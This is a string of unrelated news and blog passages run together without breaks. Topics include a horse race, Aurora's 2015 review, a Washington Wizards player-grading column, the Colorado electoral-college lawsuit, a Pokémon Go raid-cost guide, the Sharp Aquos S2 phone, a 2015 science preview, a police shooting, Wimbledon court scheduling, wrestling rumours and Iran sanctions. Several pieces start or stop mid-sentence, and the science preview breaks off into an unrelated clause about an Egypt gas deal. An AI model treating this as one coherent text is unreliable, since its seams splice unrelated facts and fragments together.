As Polarisation came back to the enclosure, Ferguson interrupted the celebrations to take a call from Appleby who was naturally delighted.
“I’ve got a great team here. It’s been an absolute pleasure,” Ferguson said.
“We’ve been well looked after. It’s just made it all worthwhile. I’m just absolutely delighted and so pleased for Sheikh Mohammed, Dubai and Godolphin.”
Polarisation and Penglai Pavilion ($5.50) who finished fifth, will now head home but are likely to be back in the spring with Appleby keen to build on his success in Victoria in last year’s spring carnival.
“All being well, he’ll (Polarisation) will come back for the Melbourne Cup,” Ferguson said.
“I’m not sure about Penglai Pavilion. He may not get into the race but we will be back.
As expected, three-year-old Lasqueti Spirit took up the running and was many lengths in front mid-race.
But when the pressure went on rounding the turn, the filly was found wanting over the distance against hardened handicappers.
“She was flat a long way out. She tried her heart out,” her jockey Bobby El-Issa said.
Glen Boss, who rode Big Duke, was fined $2000 for using the whip 11 times before the 100m.
Boss admitted he was at fault and had not thought about the whip use because the rule doesn’t apply in Singapore where he is based.AURORA | There’s little doubt that 2015 left wide-ranging and indelible marks on Aurora, but the historical Aurora theater shooting trial had the biggest and probably most lasting impact on the city.
Just more than three years after shooter James Holmes opened fire inside a crowded Aurora theater, a jury convicted him of almost every charge associated with the slaughter of 12 people and wounding of 70 more. The same jury sentenced Holmes to life in prison, bringing an end to three years of the shooting clouding the city.
But 2015 was filled with much more than the trial that attracted international attention. After a controversial fight, the famed Gaylord Aurora hotel and conference center project was solidified. Aurora Central High School announced new battle plans for student achievement. At long last, the massive chaos surrounding a new regional VA hospital being built in Aurora settled into a long-awaited plan. And numerous other long-awaited business finished plans to bring unique opportunities to the city.
Here are a few of the stories that shaped Aurora for 2015 and a gallery of the photos from the stories that made the news.With the Washington Wizards intent on making their first trip to the postseason since 2008 (insert obligatory "BAHAHAHA" here), we felt it was appropriate to finally revive one of our most popular recurring features. That's right: Keys to the Palace is back. Yyaaaayyyy.
We're going to try and make this a weekly thing. Keys will typically run Monday mornings, except following Sunday night games, in which case Monday will be reserved for postgame features/analysis/venting/screaming, saving Keys for Tuesday. So why is this season's debut of Keys appearing Wednesday morning? Shut up is why.
For those who need the backstory, the name of this feature is derived from this legendary Ed Tapscott quote on Nick Young and his lack of playing time:
"Someone asked me the other day if I have a dog house. I said, 'No I don't have a dog house, I have a Palace of Good Play.' I'm looking for someone who's playing well so I can put them in that palace."
Aren't we all, Ed?
A refresher on how this works:
Each week we'll be handing out Gold Keys to those Wizards whose good play has earned them a rightful spot in the Palace of Good Play. Simple enough, right?
On the flip side, those whose play does not earn them a spot in the Palace will instead be locked out of said Palace via our Red Lock of Shame. Following me?
Just to make things more confusing, Wizards who we deem worthy of admittance to the Palace but don't trust enough with one of our golden keys will instead receive the Blue Guest Pass of Indifference.
Here's a quick test to make it easier: Have a friend read down the Wizards' roster. If your reaction to a player's name is, "Wooo," that player should get a. If you instead think "Booo," then they'd get a. If the first thing that comes to mind is "meh," then that player probably deserves a.
Get it? Don't care. Let's get started, first by spoiling your suspense and acknowledging up front that no one gets a Gold Key until the Wizards win a damn game. However, some players have acquitted themselves well enough to at least earn a Guest Pass out of the rain. Which of our lovable Wizards will be locked out in the mud? (Hint: most of them).
We'll list players in descending order, based on their standing on the team.
***
John Wall #2 / Guard / Washington Wizards This Week vs. Detroit: 20 points, 11 assists, 2 rebounds in 39 minutes
vs. Philadelphia: 26 points, 6 assists, 5 rebounds in 34 minutes
vs. Miami: 11 points, 9 assists, 4 rebounds in 39 minutes
The Big Kahuna. Wall's stats aren't horrible, but anytime the starting point guard, team leader and max-contract player of a team with playoff aspirations starts 0-3, he simply hasn't gotten the job done.
Bradley Beal #3 / Guard / Washington Wizards This Week vs. Detroit: 17 points, 4 rebounds, 2 assists in 38 minutes
vs. Philadelphia: 10 points, 3 rebounds, 3 assists in 36 minutes
vs. Miami: 19 points, 3 rebounds, 3 assists in 41 minutes
Along with Wall, Beal represents the future of the franchise. But right now he's struggling, shooting 32 percent and resembling more the scared rookie from a year ago than the rising star who got everyone so excited at the end of last season.
Nene Hilario #42 / Forward / Washington Wizards This Week vs. Detroit: 12 points, 3 rebounds, 1 assist in 30 minutes
vs. Philadelphia: DNP (calf injury)
vs. Miami: DNP (calf injury)
Many of you are very angry with Nene. Some of us are a little more empathetic. Regardless, the fact is Nene has not helped this team avoid an 0-3 start. Hopefully he's back on the court soon.
Trevor Ariza #1 / Forward / Washington Wizards This Week vs. Detroit: 28 points, 10 rebounds, 3 assists in 38 minutes
vs. Philadelphia: 12 points, 14 rebounds, 6 assists in 39 minutes
vs. Miami: 13 points, 7 rebounds, 0 assists in 30 minutes
He's been doubled off constantly, so you can take his good shooting numbers with a grain of salt, but all that rebounding is nice. Next step is to stop gambling on defense, which... ha ha ha that's never going to happen. - Mike Prada
Marcin Gortat #4 / Center / Washington Wizards This Week vs. Detroit: 9 points, 9 rebounds, 0 assists in 17 minutes
vs. Philadelphia: 12 points, 7 rebounds, 1 assist in 37 minutes
vs. Miami: 15 points, 11 rebounds, 1 assist in 32 minutes
He's been really confused trying to pick up the Wizards' defensive schemes, but he's also at least been a decent enough pick and roll man to get a guest pass. Clearly, he doesn't have Emeka Okafor's rim-protection skills, though. - MP
Martell Webster #9 / Guard / Washington Wizards This Week vs. Detroit: 5 points, 2 rebounds, 0 assists in 21 minutes
vs. Philadelphia: 13 points, 2 rebounds, 0 assists in 24 minutes
vs. Miami: 13 points, 7 rebounds, 4 assists in 34 minutes
Did you know that the Wall/Beal/Webster combo -- which, may I remind you, outscored opponents by 18.7 points per 100 possessions last season -- has played less than half as many minutes together as the Wall/Beal/Ariza combo? Here's a suggestion: change that. Also kind of nuts: Webster has finished just 11 percent of the Wizards' possessions when he's on the court this season, per Basketball Reference. The bench just isn't able to set him up for threes. - MP
Trevor Booker #35 / Forward / Washington Wizards This Week vs. Detroit: 2 points, 5 rebounds, 3 assists in 20 minutes
vs. Philadelphia: 10 points, 8 rebounds, 2 assists in 28 minutes
vs. Miami: 8 points, 6 rebounds, 0 assists in 22 minutes
The fact that Booker didn't immediately faint when this happened is admirable. But his listing this high is more an indictment against the Wizards' Forward Flotsam than an endorsement of Booker's contributions.
Eric Maynor #6 / Guard / Washington Wizards This Week vs. Detroit: 3 points, 1 assist, 2 rebounds in 9 minutes
vs. Philadelphia: 4 points, 4 assists, 2 rebounds in 14 minutes
vs. Miami: 5 points, 4 assists, 2 rebounds in 14 minutes
Our final guest pass this week goes to Maynor, who in limited minutes is shooting 56 percent and has yet to commit a turnover. Sure, his numbers are far from staggering, but he's done precisely his job, which is to take care of the ball while Wall rests.
Al Harrington #7 / Forward / Washington Wizards This Week vs. Detroit: 4 points, 0 rebounds, 1 assist in 18 minutes
vs. Philadelphia: 7 points, 3 rebounds, 1 assist in 16 minutes
vs. Miami: 0 points, 0 rebounds, 1 assist in 12 minutes
We expect big things from Harrington this season, but he's off to a rough start, shooting only 21 percent from the field and 14 percent from three. His struggles are understandable given he missed all but 10 games last season with a serious staph infection, but that doesn't gain him admittance to the Palace.
Kevin Seraphin #13 / Center / Washington Wizards This Week vs. Detroit: 2 points, 1 rebound, 0 assists in 4 minutes
vs. Philadelphia: 8 points, 2 rebounds, 0 assists in 11 minutes
vs. Miami: 9 points, 1 rebounds, 0 assists in 15 minutes
Seraphin has shot well, making more than 64 percent of his attempts thus far this season, but that's about it. He hasn't rebounded or recorded a single assist, and his defensive awareness is suspect as always.
Garrett Temple #17 / Guard / Washington Wizards This Week vs. Detroit: 0 points, 0 rebounds, 1 assist in 5 minutes
vs. Philadelphia: 0 points, 0 rebounds, 0 assists in 1 minutes
vs. Miami: 0 points, 0 rebounds, 0 assists in 0 minutes
Hey, we like Garrett. Really. But he's only taken one shot (a missed three) and hasn't made any other sort of impact, so he gets lumped in with all the others.
Jan Vesely #24 / Center / Washington Wizards This Week vs. Detroit: DNP (lulz)
vs. Philadelphia: DNP (BAHAHA)
vs. Miami: DNP (*drink*)
After a somewhat-promising offseason, the former No. 6 pick is in his third year and has yet to see the court. At least he's staying positive. Sigh.
Yea yea, it seems a little unfair to lock out a second-round rookie three games into the season. Just consider this part of his rookie hazing. At least we aren't leaving him any voicemails.
We're going to reserve judgment on Otto Porter and Chris Singleton, as both have been injured since before even preseason began. When/if they make it onto the court, we'll decide if they deserve sanctuary.
More from Bullets Forever:Where the analogy applies to soccer is if you looked at all the folks playing video games in the US (which I imagine is an astronomical number) you'd be mistaken assume all of those players are striving to put in the time and effort to earn a professional wage playing video games. We look at youth participation rates in the US that seem to be impressive, but these participants are not engaging with soccer as a long-term viable profession and are therefore not putting in the time and effort it would take to earn a professional wage doing it. They are also not, necessarily, engaging in soccer as culture (watching matches live or on TV, talking about players etc); it's merely a past-time.
The analogy I always use is ping-pong. I know lots of people who can and have played ping-pong and very few that are aspirant to achieve in the sport as a profession (or could name a great ping-pong player).
Click to expand...With criticism flying about the electoral college, here's why the "Hamilton electors" probably won't stop Donald Trump's election.
With criticism flying about the electoral college, here's what you need to know about our system for electing the president and why the "Hamilton electors" don't like it.
With criticism flying about the electoral college, here's what you need to know about our system for electing the president and why the "Hamilton electors" don't like it. With criticism flying about the electoral college, here's why the "Hamilton electors" probably won't stop Donald Trump's election. (Jenny Starrs/The Washington Post)
With criticism flying about the electoral college, here's what you need to know about our system for electing the president and why the "Hamilton electors" don't like it. (Jenny Starrs/The Washington Post)
With criticism flying about the electoral college, here's what you need to know about our system for electing the president and why the "Hamilton electors" don't like it. (Jenny Starrs/The Washington Post)
DENVER — A federal judge dealt a severe setback Monday to a longshot plan to deny Donald Trump the presidency through the Electoral College, refusing to suspend a Colorado law requiring the state’s nine electors to vote for the presidential candidate who won the state in November.
U.S. District Judge Wiley Daniel denied a request by two Colorado electors who contended that the law binding their vote to Colorado vote winner Hillary Clinton violated their First Amendment rights and the intents of the Constitution’s framers. The electors had sought the right to vote for someone other than Clinton in order to unite behind a consensus Republican other than Trump when the Electoral College convenes on Dec. 19.
Daniel found that suspending the Colorado requirement would have harmed the state’s voters and jeopardized a peaceful presidential transition. “Part of me thinks this is really a political stunt to prevent Donald Trump from becoming president,” said Daniel, who was nominated to the bench by Bill Clinton in 1995.
If the Colorado electors had been successful, it could have signaled that similar laws in more than two dozen other states could also be overturned, freeing a large number of electors to defect from Trump. Jason Wesoky, who represents the two electors, said he may seek an emergency appeal to the 10th Circuit Court of Appeals — the only chance his clients would have of blocking the Colorado law before they have to cast their votes.
Should the Colorado electors be freed, some of them hoped to persuade enough of their counterparts elsewhere to unite behind a Republican alternative like Mitt Romney. So far only one Republican elector has announced he won’t vote for Trump. The president-elect won 306 electors last month to Clinton’s 232.
1 of 24 Full Screen Autoplay Close Advertisement Skip Ad × Embed Copy Share Here’s a look at Trump’s administration so far View Photos President-elect Donald Trump faces a challenge as he prepares for his move to the White House: selecting the men and women who will fill his administration. Caption The men and women the president-elect has selected for his Cabinet and White House team. -- Interior secretary nominee Ryan Zinke | Trump has tapped Rep. Ryan Zinke, a Republican who has held Montana’s at-large congressional seat for one term, to serve as secretary of the Interior Department. ( Pool photo by Albin Lohr-Jones/via European Pressphoto Agency ) Buy Photo Wait 1 second to continue.
An attorney for Trump filed legal papers Monday arguing a suspension of Colorado’s law could have sweeping consequences. “This is very serious stuff,” attorney Christopher Murray, who also represented the Colorado Republican Party, said in court. “If you vote as a free agent in the electoral college, you’re taking Colorado voters’ voices away.”
An attorney for the state noted that Colorado’s ballot only lists the names of presidential contenders, not electors.
Wesoky had argued that voters didn’t choose a president on Nov. 8, only electors who had the right to vote their conscience.
Jerad Sutton, an elector who is not one of the plaintiffs but also wants to vote for someone other than Clinton if it will block a Trump presidency, said he was disappointed with Monday’s result. “If people vote for president, Hillary Clinton would be president,” Sutton said, noting the Democrat won the popular vote. “If you believe this Electoral College exists, those are the people who choose the president.”
Copyright 2016 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.We don’t know yet when Legendary Pokémon will appear, but it might be soon and time is running out to prepare. A lot of us hope they will show up during/after Go-Fest. There are multiple lists circulating the best raid Pokémon available to fight the Legendaries. But what is the cheapest and quickest way to get some of these battlers if you don’t have them already? This article looks at the cost and effort of getting a battler for a legendary raid as quickly and as cheaply as possible.
For a good legendary raid battler, you’re looking at a level 30 Pokémon, he or she has a max attack for IV (15) and also has the optimal move set to fight the legendaries. In addition, this Pokémon is in the top 6 of battlers against at least one Legendary as determined by Pokebattler.com
First the cost: 6+ Raid passes, <1 charge TM, 72-73.2K dust
Does this look too cheap for you? There are a few assumptions here, and I will explain how it works. All values are averages – I can’t do anything to increase your luck. The first step is getting some good battlers quickly. I then show how I derive the cost.
Doing raids seems to turbocharge your quest for a good legendary raid battler. There are 9 current raid bosses which appear in the top 6 as attackers for various Legendaries at least once:
Tier 2
Exeggutor
High damage Solar Beam special attack along with strong psychic and grass quick attacks
Tier 3
Gengar
Very high damage ghost moves along with some high resists to various attacks
Alakazam
Another high damage Pokemon, this time with psychic attacks
Vaporeon
A common eeveelution who happens to be the strongest water pokemon in the game, unleashing huge hydro pumps
Jolteon
Another eeveelution who is the strongest electric pokemon in the game, with multiple good electric moves including Thunderbolt
Flareon
The final easy to obtain eeveelution who is the strongest fire Pokemon in the game, with multiple good fire moves, especially Fire Spin and Overheat
Tier 4
Tyranitar
A very strong Pokemon featuring a great dark quick attack and 2 strong special moves in Stone Edge and Crunch
Charizard
A flying/fire Pokemon with good moves and resists for some legendaries
Venusaur
Arguably the strongest grass Pokemon, with huge Solar Beam just like Exeggutor but without the psychic type vulnerabilities.
I haven’t added Machamp to the list as he is not a good attacker for a legendary raid. But these same principles apply to him as well if you after tier 4 raids, so it might be good to do raids against him too if you have the opportunity.
Catching a raid boss gives you an evolved Pokémon of that type. This Pokémon starts at level 20 with random IV rankings of 10-15 which are equivalent to egg IVs. This means you will have to catch on average of 6 raid bosses to get one with a max attack IV of 15. This is where I get my cost of 6+ raid passes from. 6 is the minimum for a 100% catch rate. If you are good at throwing curve balls and always use golden Razz’s then you can get close to a 6 out of 6 catch rate for some of the battlers. You need some additional raid passes if you miss often or if you preferably go for the tier 4 raid bosses. This additional cost depends on your skill, the number of balls you manage to get, etc. The value, therefore, is 6+ and I can’t give a more accurate number.
Once we have a good Pokémon, we want to ensure it actually has the best possible move set. This is where we need TMs. There are 2 quick moves. You have a 50% chance to get the right quick move straight away. This leave 1 x 0.5 = 0.5 Fast TM to correct the wrong move. I assume that 6+ raids will give you 0.5 (or more) fast TMs – therefore this cost is left out as the raids pay for it already. For the charge move the chance is 33.3% to get the right move. You then have a 50% chance to get the charge move you want. This leave (1 + 0.5 + 0.25 + 0.125 + …) x 2/3 = 1 1/3 Charge TM needed on average to get the charge move you want. I assume you will get at least 1/3 of a charge TM for your 6+ raids. Therefore, the cost is <1 charge TM. The value might be too optimistic for tier 2, but it is well deserved for tier 3 and tier 4 and should actually gain you charge TMs.
The next cost is candy. This cost is actually around zero as well – isn’t this fantastic? We need none for evolution – great start. We then need 66 to upgrade a Pokémon from level 20 to level 30. We gain 35 candies from catching 6 2-evolution Pokémon and releasing 5 of them. We gain 65 candies for catching 6 3-evolution Pokémon and releasing 5 of them. This doesn’t yet take into account the additional rare candy we get from the 6+ raids. So, we might slightly fall short for the Eevee evolutions, Exeggutor and Gengar – all candy that isn’t too hard to get, while all the 3-evolution Pokemon gain us candy on our quest for a good battler. Therefore, I regard the candy cost as zero overall.
This leads us to the only true cost that doesn’t easily pay for itself or can be substituted by money – dust. It costs us 75K dust to power up our Pokémon from level 20 to level 30. We gain 1800 for the 2-evolution Pokémon and 3000 for the 3-evolution Pokémon. This leaves us with 72-73.2K of dust as the only cost that requires us to grind or raid our dust storage.
All the calculations are for a single raid attacker. Multiply with six if you go for a full team. It is beneficial if you have some spare TMs and candy before you start as you might get lucky. But long term it should pay for itself apart from the costs listed.
So go out, fight lots of raids, don’t ignore the tier 3 ones, check for 15 attack IV and store them to be fully prepared. I hope you have a good stash of dust. Just don’t send me the bill for all the Poke coins you have to buy.
Assumptions and other possibly useful information:
Going for different battlers
Candy cost assumes you go only for one specific Pokémon type. You will have to pay ‘advance candy’ if you mix them and will get candy for other species. Eventually, it will even out.
Catch rate
Is a catch rate of close to 100% even possible? I hear lots of stories of raid bosses fleeing. There are three factors needed to get close to 100%. a) Get as many balls as possible. Some aspects are in your control. To get the max damage balls (3) you need a good damage output and a group that isn’t too big. Max contribution of your team (3) depends on whom you pair up with. This should give you 11 balls. 11 balls give you an 87% overall chance if you can always hit it with a golden Razz and a nice ball. It gives you 96% if you manage always a curved nice ball with golden Razz. Where most trainers (including me) fail is that they never saw a Tyranitar and throw at the wrong time and therefore waste a lot of throws. I guess practice makes perfect.
Effect of luck
I use random and average values. Table 1 shows the chance of getting at least 1 IV 15 attack Pokémon depending on number of raids done
Raids Chance (%) for 15 Attack IV Average number of 15 attack IV Pokemon 1 16.7% 0.17 2 30.6% 0.33 3 42.1% 0.5 4 51.8% 0.67 5 59.8% 0.83 6 66.5% 1 7 72.1% 1.17 8 76.7% 1.33 9 80.6% 1.5 10 83.8% 1.67 11 86.5% 1.83 12 88.8% 2 13 90.7% 2.17 14 92.2% 2.33 15 93.5% 2.5 16 94.6% 2.67 17 95.5% 2.83 18 96.2% 3 19 96.9% 3.17 20 97.4% 3.33
Going beyond 30
You might want to go beyond level 30. The additional cost for leveling beyond level 30 is given in table 2.
Level Dust Candy 30.5 5000 4 31 10000 8 31.5 16000 14 32 22000 20 32.5 28000 26 33 34000 32 33.5 41000 40 34 48000 48 34.5 55000 56 35 62000 64 35.5 70000 74 36 78000 84 36.5 86000 94 37 94000 104 37.5 103000 116 38 112000 128 38.5 121000 140 39 130000 152
Going for high IV
Not everyone is just interested in every 15 attack IV Pokémon – most trainers want to ensure they also have good overall IV. The good news is – if you only take raid bosses with 15 attack IV then your worst possible IV is 78% and you have a 92% chance for a wonder (IV 82% or better) and a 42% chance for an attacker with total IV of >90%. This is especially important if you want to level up beyond level 30. Table 3 outlines the chances for each IV and a multiplier which means how many more raids you need to do if you restrict yourself to this total IV minimum. Only the number of raids need to be multiplied as you will gain additional TMs, candy and even a little bit of dust with every additional raid.
total IV Chance Raid Multiplier 78% 1 1 80% 0.97 1.03 82% 0.92 1.1 84% 0.83 1.2 87% 0.72 1.4 89% 0.58 1.7 91% 0.42 2.4 93% 0.28 3.6 96% 0.17 6 98% 0.08 12 100% 0.03 36
In Summary
You will still be able to get some battlers for legendary bosses ahead of Go Fest even if you still miss some for your line up. All you need is some dust stashed away, a friend to help with tier 3 raids (if you can’t do them on your own) and somewhere with lots of gyms for a variety of raids. Long term this works for anyone who wants to build up a raid army. The cost (apart from dust) is actually pretty minimal. You even have a free raid pass each day if you don’t want to invest real money – it just will take you longer.A few days ago, we reported that Sharp will be introducing its new bezel-less Aquos S2 at an event in Beijing today. And, as promised, the handset was indeed unveiled, boasting an impressive, yet oddly familiar design. Sharp appears to have borrowed some ideas from the Essential Phone, and the Aquos S2 also bears a resemblance to recent iPhone 8 leaks.
Similarly to the Essential Phone, the Aquos S2 comes with extremely slim bezels on all sides except the bottom, with a teardrop-shaped cutout on the top one to accommodate the selfie camera. The notification bar is split in the middle by the front-facing camera, just like with Andy Rubin’s phone. The main difference is the home button with embedded fingerprint scanner, which is housed in the bottom bezel.
Mobileall
The back, on the other hand, is somewhat reminiscent of the iPhone 8 renders and dummies that have been making the rounds in recent months. It features a vertical dual-camera setup with a flash in the top left corner and nothing else but the Sharp logo near the bottom of the back plate.
Anzhuo
In terms of hardware, the Sharp Aquos S2 comes in two variations. The first makes use of Qualcomm’s Snapdragon 630, 4 GB of RAM, and 64 GB of internal memory. The second employs Snapdragon 660, 6 GB of RAM and 128 GB of storage. Both versions boast a 5.5-inch LCD screen with a resolution of 1080 x 2040 pixels. This means that the display comes with a 17:9 ratio, including the notification bar at the top.
All of this is packed in a relatively compact body, which makes for a screen-to-body ratio of 87.5%. This beats the Samsung Galaxy S8+, one of the top bezel-less smartphones out there, by 3.5%.
The Sharp Aquos S2 will start selling in China on August 14. The less-powerful version will cost around $372, while its mightier sibling will set you back $520. As of yet, Sharp hasn’t mentioned anything about an international release.
How do you like the Sharp Aquos S2? Would you buy it if you could, or do you prefer a more traditional approach to smartphone design? Let us know in the comments.Particle smasher
The long wait is over: the Large Hadron Collider (LHC) will reboot in March after a two-year shutdown. The machine at CERN, Europe’s particle-physics laboratory near Geneva, Switzerland, will restart with collisions at 13 trillion electronvolts—almost double the current record. Scientists hope that the extra firepower will help the collider to unearth phenomena that fill in gaps in the standard model of particle physics. The popular theory of supersymmetry, already in doubt, could lose further favor if the upgraded LHC cannot find evidence of the many heavy particles that the theory predicts.
Climate deal
The U.S. and China, the world’s biggest carbon emitters, made historic pledges in 2014 to reduce their greenhouse-gas emissions. That could clear the way for a new global climate deal at United Nations talks in Paris in December, where nations hope to finalize a legally binding post-2020 agreement. Meanwhile, the average annual level of heat-trapping carbon dioxide in the atmosphere could creep above 400 parts per million for the first time in millions of years.
End of Ebola epidemic
Health workers hope to stop the Ebola epidemic in Guinea, Liberia and Sierra Leone. That will require wider use of proven public-health measures—such as rapid detection and isolation of people with Ebola. Trials of vaccines are planned for early in the year; results should come by June. Tests are already under way on several drugs, as are trials of treatments that use the antibody-rich blood of people who have survived Ebola. The blood treatments could be rolled out quickly and widely if proved effective.
Trips to dwarf planets
Comets are out, dwarf planets are in. In March, NASA’s Dawn probe will arrive at proto-planet Ceres, the most massive body in the asteroid belt between Mars and Jupiter. Ceres is thought to have water ice beneath its crust. And after travelling 5 billion kilometers, NASA’s New Horizons craft will finally reach Pluto, making its closest approach on July 14. The encounter promises the first intimate look at that rocky world and its moons, and new data on Pluto’s atmosphere.
Shiny new labs
The $1.0-billion Francis Crick Institute will open in November in central London and house 1,250 researchers in its chromosome-shaped building. Farther north, the £61-million National Graphene Institute will open this spring at the University of Manchester, UK. The center, funded in part by the British government, is a key element of Manchester’s campaign to create what it calls Graphene City. And the $100-million Allen |
cancellation of the unloved gas deal should not be overplayed as a token of hostility from the new Egypt toward Israel. But it does remove one plank of their already shaky economic cooperation. And it demonstrates that, under its current leadership, Egypt’s political and economic clout is further dwindling at the very moment that Tel Aviv has landed an unexpected windfall.× Police officer shot in West Valley City
WEST VALLEY CITY – The West Valley City Police Department has confirmed that a police officer was shot Tuesday evening in West Valley city on 1250 West. and 3301 South.
According to police, around 7:24 p.m. they received a call from an officer saying they they had been shot, and that the wound was not life threatening.
Shortly after police received the call, two juveniles arrived at a hospital with non life threatening gunshot wounds. Police say the juveniles arrived at the hospital in a vehicle that was seen leaving the scene of the shooting.
The incident is still under investigation by Police. According to West Valley City officials, there is, “very little information regarding what led up to the shooting.”
The officer who was shot has been with the West Valley City Police Department for three years. Police officials believe that they had no further outstanding suspects as of Tuesday evening.
East bound lanes were closed on 3300 South from Redwood Road to 900 West in West Valley, according to UDOT.
Police incident
EB 3300 S from REDWOOD RD to 900 W (West Valley) Salt Lake Co.
EB Lanes Closed
Est. Clearance Time: 8:44 PM — UDOT Traffic (@UDOTTRAFFIC) November 8, 2017
Fox 13 will continue to report updates as they become known.In the last five years it’s been a rare sight to have Andy Murray, Novak Djokovic, Rafael Nadal, and Roger Federer in the second week of Wimbledon. Either way, it’s 2017, and for the first time since Wimbledon 2014 those men are the top four seeds at a Grand Slam. While on paper it looks great to potentially have all four making the semifinals, it’s sad how the scheduling of this event puts two of these great champions completely above the others. If you don’t know, it’s pretty obvious which two I am on about, World #1 Andy Murray and seven-time champion Roger Federer.
To begin, sure there’s no rule about where players play their matches, although you would think with Wimbledon having four of the biggest names in tennis they would at least treat them in such a way in which all are treated somewhat equally. Sadly however, this isn’t the case.
Starting with this year’s championship, #3 seed Rafael Nadal, who’s just coming off a Roland Garros win, began Wimbledon on Court 1 against Australian John Millman while three-time champion Novak Djokovic also played on Court 1 for his Round 2 encounter again Adam Pavlasek. Meanwhile, defending champion Andy Murray and Roger Federer have yet to be off Centre Court. You might be wondering why this is a big deal, and that’s because Court 1 doesn’t have a roof or floodlights–while also plays differently, not suiting the likes of Nadal and Djokovic, making them more vulnerable due to the court being faster.
This here is precisely where the issue continues–for Manic Monday’s schedule both Murray and Federer are on Centre Court again. Sure, in the Swiss’ defense he is playing Grigor Dimitrov, the Bulgarian 13th seed who has shown signs of brilliance this year such as only being a few games away from making his maiden Grand Slam final in Australia. In the Brit’s case, however, he is playing Benoit Paire, a Frenchman who’s worst surface is grass and claims to hate this tournament. Rafael Nadal, on the other hand, is playing 16th seed Gilles Muller who pushed him here for the first two sets here in 2011 (Nadal 7-6(5) 7-6(5) ) while also having beaten the Spaniard on grass before too. So tell me, what’s the match that should be on Centre Court?
Yes, Andy Murray is British, but it gets to an extent where it’s used as too much of an advantage. Achievement wise he is nowhere near the level of Nadal and Djokovic and although fans want to see the Brit on Centre Court, you would have to think a much larger international audience would prefer to see the Spaniard or Serbian there instead. This is one of the biggest sporting events in the world; the sooner Wimbledon stop being idiots and realise that it’s not only Brits watching, the better.
As for Roger Federer, sure he’s won seven titles here, but the last came in 2012. Since then Novak Djokovic has won two titles here, but somehow Wimbledon seem to totally forget that. Even in 2015, when the 12-time Grand Slam champion was the top seed and defending champion they threw him out on Court 1 vs Kevin Anderson for his Round 4 match. Meanwhile, Roger Federer got Centre Court vs Roberto Bautista Agut–that alone says enough. Or how about last year when the Serb was thrown on Court 1 against a dangerous opponent, Sam Querrey, which ended up getting delayed due to rain and Djokovic ultimately losing. Who knows how different the result could have been on Centre Court? Maybe he still would have lost, but one thing for sure is that his gamestyle against someone like Querrey would have benefitted playing on Centre. But of course Federer and Murray got Centre Court for all of their matches even when they played the likes of grass court legends such as Guido Pella and Dan Evans.
Unfortunately, the same applies for last year’s Roland Garros champion. Even in 2010 when his quarterfinal was a rematch of the Roland Garros final just a few weeks before, he was thrown onto Court 1 while Andy Murray and Roger Federer got Centre. The same is true for 2011, where he played fellow top 10 seed Mardy Fish on Court 1 while Andy Murray and Roger Federer got Centre once again, in Murray’s case against an unseeded player too.
No doubt Andy Murray and Roger Federer are great players,but then so are Rafael Nadal and Novak Djokovic. The sooner they’re treated fairer at Wimbledon the better. This has gone on far too long and assuming all four win on Monday, unless Nadal and Djokovic get Centre for their quarterfinals, at least one of them would have played on Court 1 three times while Federer and/or Murray will have once again played every match of theirs on Centre.
Combined, the Brit and Swiss have only ever played one quarterfinal off Centre Court, so it’s a long shot thinking that Djokovic and Nadal will get Centre if they win on Monday. I mean, just look at 2013–somehow Murray vs the unseeded Verdasco and Del Potro vs Ferrer got Centre over Djokovic playing former finalist Berdych. How does that even make any sense? Honestly, it’s ridiculous how two players with five Wimbledon titles and 27 Grand Slams combined can be so disrespected at any tournament, let alone at the biggest one in our sport.
Main Photo:UPDATE: She was also unhappy with pay. Click here for details.
ORIGINAL: On Wednesday’s Wrestling Observer Live, Bryan Alvarez and Mike Sempervive discussed the Nia Jax rumors. It’s an odd story because no one has officially confirmed anything, other than a denial from WWE about her leaving. There’s also the story from Pro Wrestling Sheet with a source telling them that she took a leave of absence.
Alvarez said, “According to WWE, Nia Jax has not gone and she never left. That’s what they say. She was not at Raw on Monday so she didn’t walk out – that’s for sure.”
“I know that Nia Jax has been unhappy about things. I was told that Nia wanted the match with Asuka at the [TLC] pay-per-view and she’s not getting it. God bless her, I’ve seen that match live [and] I don’t want to see it at the pay-per-view. There were some other things that she was unhappy about.” To me, the fact that Emma got the match should not be taken as a slight to Jax because it’s likely that Asuka will get a squash win at TLC. Jax should be someone saved as a future (and more credible) opponent. Alvarez later added, “Something’s going on but I don’t know what it is. WWE claims there’s nothing going on. But things are going on but I don’t know what’s going on. Does that make sense?”
Alvarez pointed out that people have always been unhappy about things, dating back to the beginning of the company so that is nothing new. So, that doesn’t necessarily mean that her absence from WWE TV this week had anything to do with her being unhappy. If she does end up leaving WWE, then she will be in an interesting position. If she wants to continue wrestling then her options are limited because there aren’t many wrestling companies offering consistent work for women. She does have the family connection to The Rock so Hollywood could be an option for her. Hopefully, we’ll know more in the coming days.
Again, whatever the issues are (personal and/or professional), we wish her the best.
If you use any portion of the quotes from this article please credit Wrestling Observer Live with a H/T to WrestlingNews.co for the transcriptionA senior Iranian nuclear negotiator says the signing of fresh anti-Iran sanctions by US President Donald Trump is an attempt to destroy the country's nuclear deal with world powers.
Iranian Deputy Foreign Minister for Legal and International Affairs Abbas Araghchi made the announcement on Wednesday, shortly after Trump signed into law a bill by Congress that imposes new sanctions against Russia, Iran and North Korea.
Read More:
Iran and the P5+1 group of countries -- the US, the UK, France, Russia, and China plus Germany -- inked the Joint Comprehensive Plan of Action (JCPOA) in July 2015. It lifted nuclear related sanctions on Iran, which, in turn, put certain limits on its nuclear work.
The United Nations nuclear watchdog has invariably certified Iran’s commitment to its contractual obligations since January 2016, when the deal took effect. The US, however, has prevented the deal from fully yielding. Washington has refused to offer global financial institutions the guarantees that they would not be hit by American punitive measures for transactions with Iran.
“The US’ main goal for imposing the sanctions against Iran is to destroy the JCPOA and we will react very intelligently to these measures,” said Araghchi.
Noting that Trump’s move was predictable as Congress had almost unanimously voted for the new sanctions, Araghchi stressed that it showed the US believes the JCPOA has empowered Iran in the region.
“Based on this perspective, the general belief in Washington is that this situation must be reversed and Iran must be put under pressure,” he said, adding that the nuclear deal is a hindrance for such measures.
He noted that imposing fresh sanctions on Iran is an attempt to reduce Tehran’s benefits from the nuclear accord and to negatively affect its "successful implementation."
The senior Iranian official also said that in a committee chaired by Iranian President Hassan Rouhani several decisions were made over reactions towards Washington’s provocative measures, which will be duly handed over to the Iranian Foreign Ministry and the International Atomic Energy Agency.
“On Monday, the committee for monitoring the implementation of the JCPOA had a meeting in which all aspects of the new measures were discussed and very intelligent responses were designed,” he added.Photo: Washington Capitals
